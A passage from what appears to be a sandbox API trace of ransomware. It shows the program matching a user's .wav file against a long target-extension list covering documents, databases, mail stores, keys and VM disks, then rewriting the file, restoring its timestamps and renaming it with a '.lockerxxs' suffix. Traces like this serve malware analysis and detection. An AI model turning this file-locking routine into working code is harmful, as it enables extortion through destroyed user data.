pszSpec="*.myox") returned 0 [0090.610] lstrlenA (lpString="*.myox") returned 6 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.myo") returned 0 [0090.610] lstrlenA (lpString="*.myo") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbw") returned 0 [0090.610] lstrlenA (lpString="*.qbw") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbb") returned 0 [0090.610] lstrlenA (lpString="*.qbb") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbm") returned 0 [0090.610] lstrlenA (lpString="*.qbm") returned 5 [0090.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbo") returned 0 [0090.610] lstrlenA (lpString="*.qbo") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbx") returned 0 [0090.611] lstrlenA (lpString="*.qbx") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qba") returned 0 [0090.611] lstrlenA (lpString="*.qba") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qby") returned 0 [0090.611] lstrlenA (lpString="*.qby") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qbj") returned 0 [0090.611] lstrlenA (lpString="*.qbj") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.ofx") returned 0 [0090.611] lstrlenA (lpString="*.ofx") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.qif") returned 0 [0090.611] lstrlenA (lpString="*.qif") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mye") returned 0 [0090.611] lstrlenA (lpString="*.mye") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mbox") returned 0 [0090.611] lstrlenA (lpString="*.mbox") returned 6 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.eml") returned 0 [0090.611] lstrlenA (lpString="*.eml") returned 5 [0090.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.pst") returned 0 [0090.612] lstrlenA (lpString="*.pst") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.ost") returned 0 [0090.612] lstrlenA (lpString="*.ost") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.idx") returned 0 [0090.612] lstrlenA (lpString="*.idx") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.dbx") returned 0 [0090.612] lstrlenA (lpString="*.dbx") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.sql") returned 0 [0090.612] lstrlenA (lpString="*.sql") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mdb") returned 0 [0090.612] lstrlenA (lpString="*.mdb") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.fdb") returned 0 [0090.612] lstrlenA (lpString="*.fdb") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.wab") returned 0 [0090.612] lstrlenA (lpString="*.wab") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.dat") returned 0 [0090.612] lstrlenA (lpString="*.dat") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.txt") returned 0 [0090.612] lstrlenA (lpString="*.txt") returned 5 [0090.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.jpeg") returned 0 [0090.612] lstrlenA (lpString="*.jpeg") returned 6 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.jpg") returned 0 [0090.613] lstrlenA (lpString="*.jpg") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.png") returned 0 [0090.613] lstrlenA (lpString="*.png") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.php") returned 0 [0090.613] lstrlenA (lpString="*.php") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.cs") returned 0 [0090.613] lstrlenA (lpString="*.cs") returned 4 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.cpp") returned 0 [0090.613] lstrlenA (lpString="*.cpp") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.rar") returned 0 [0090.613] lstrlenA (lpString="*.rar") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.zip") returned 0 [0090.613] lstrlenA (lpString="*.zip") returned 5 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.html") returned 0 [0090.613] lstrlenA (lpString="*.html") returned 6 [0090.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.htm") returned 0 [0090.614] lstrlenA (lpString="*.htm") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.xlsx") returned 0 [0090.614] lstrlenA (lpString="*.xlsx") returned 6 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.xls") returned 0 [0090.614] lstrlenA (lpString="*.xls") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mp4") returned 0 [0090.614] lstrlenA (lpString="*.mp4") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.ppt") returned 0 [0090.614] lstrlenA (lpString="*.ppt") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.pptx") returned 0 [0090.614] lstrlenA (lpString="*.pptx") returned 6 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.doc") returned 0 [0090.614] lstrlenA (lpString="*.doc") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.dot") returned 0 [0090.614] lstrlenA (lpString="*.dot") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.docx") returned 0 [0090.614] lstrlenA (lpString="*.docx") returned 6 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.7z") returned 0 [0090.614] lstrlenA (lpString="*.7z") returned 4 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.tar") returned 0 [0090.614] lstrlenA (lpString="*.tar") returned 5 [0090.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.bz2") returned 0 [0090.615] lstrlenA (lpString="*.bz2") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.gz") returned 0 [0090.615] lstrlenA (lpString="*.gz") returned 4 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mkv") returned 0 [0090.615] lstrlenA (lpString="*.mkv") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.eml") returned 0 [0090.615] lstrlenA (lpString="*.eml") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.msg") returned 0 [0090.615] lstrlenA (lpString="*.msg") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.edb") returned 0 [0090.615] lstrlenA (lpString="*.edb") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.accdb") returned 0 [0090.615] lstrlenA (lpString="*.accdb") returned 7 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.odb") returned 0 [0090.615] lstrlenA (lpString="*.odb") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.java") returned 0 [0090.615] lstrlenA (lpString="*.java") returned 6 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.asm") returned 0 [0090.615] lstrlenA (lpString="*.asm") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.pfx") returned 0 [0090.615] lstrlenA (lpString="*.pfx") returned 5 [0090.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.pem") returned 0 [0090.615] lstrlenA (lpString="*.pem") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.p12") returned 0 [0090.616] lstrlenA (lpString="*.p12") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.gpg") returned 0 [0090.616] lstrlenA (lpString="*.gpg") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.vsd") returned 0 [0090.616] lstrlenA (lpString="*.vsd") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.odg") returned 0 [0090.616] lstrlenA (lpString="*.odg") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.raw") returned 0 [0090.616] lstrlenA (lpString="*.raw") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.nef") returned 0 [0090.616] lstrlenA (lpString="*.nef") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.svg") returned 0 [0090.616] lstrlenA (lpString="*.svg") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.psd") returned 0 [0090.616] lstrlenA (lpString="*.psd") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.vmx") returned 0 [0090.616] lstrlenA (lpString="*.vmx") returned 5 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.vmdk") returned 0 [0090.616] lstrlenA (lpString="*.vmdk") returned 6 [0090.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.vdi") returned 0 [0090.617] lstrlenA (lpString="*.vdi") returned 5 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.lay6") returned 0 [0090.617] lstrlenA (lpString="*.lay6") returned 6 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mpeg") returned 0 [0090.617] lstrlenA (lpString="*.mpeg") returned 6 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.djvu") returned 0 [0090.617] lstrlenA (lpString="*.djvu") returned 6 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.tiff") returned 0 [0090.617] lstrlenA (lpString="*.tiff") returned 6 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.backup") returned 0 [0090.617] lstrlenA (lpString="*.backup") returned 8 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.pdf") returned 0 [0090.617] lstrlenA (lpString="*.pdf") returned 5 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.cert") returned 0 [0090.617] lstrlenA (lpString="*.cert") returned 6 [0090.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.docm") returned 0 [0090.618] lstrlenA (lpString="*.docm") returned 6 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.xlsm") returned 0 [0090.618] lstrlenA (lpString="*.xlsm") returned 6 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.dwg") returned 0 [0090.618] lstrlenA (lpString="*.dwg") returned 5 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.nd") returned 0 [0090.618] lstrlenA (lpString="*.nd") returned 4 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.tlg") returned 0 [0090.618] lstrlenA (lpString="*.tlg") returned 5 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.lgb") returned 0 [0090.618] lstrlenA (lpString="*.lgb") returned 5 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.mov") returned 0 [0090.618] lstrlenA (lpString="*.mov") returned 5 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.xdw") returned 0 [0090.618] lstrlenA (lpString="*.xdw") returned 5 [0090.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.ods") returned 0 [0090.618] lstrlenA (lpString="*.ods") returned 5 [0090.619] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", pszSpec="*.wav") returned 1 [0090.619] lstrlenA (lpString="*.wav") returned 5 [0090.619] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" [0090.619] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" [0090.619] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav." [0090.619] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav.lockerxxs" [0090.619] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\rtxihtxnjxknukky3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.620] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc0e9 [0090.620] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x82ab01e0, dwHighDateTime=0x1d5df84), lpLastAccessTime=0x407536*(dwLowDateTime=0x6a4f1d30, dwHighDateTime=0x1d5e41a), lpLastWriteTime=0x40753e*(dwLowDateTime=0x6a4f1d30, dwHighDateTime=0x1d5e41a)) returned 1 [0090.620] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.620] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc0c3, lpOverlapped=0x0) returned 1 [0090.622] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav") returned="rTXihtxnjxkNUkKy3.wav" [0090.623] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.623] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc0c3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc0c3, lpOverlapped=0x0) returned 1 [0090.623] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.623] CloseHandle (hObject=0x90) returned 1 [0090.624] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\rtxihtxnjxknukky3.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\rTXihtxnjxkNUkKy3.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\rtxihtxnjxknukky3.wav.lockerxxs")) returned 1 [0090.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3bd280, ftCreationTime.dwHighDateTime=0x1d5e37f, ftLastAccessTime.dwLowDateTime=0x2f52eb00, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x2f52eb00, ftLastWriteTime.dwHighDateTime=0x1d5d8d3, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x26000325, dwReserved1=0x4e00c4, 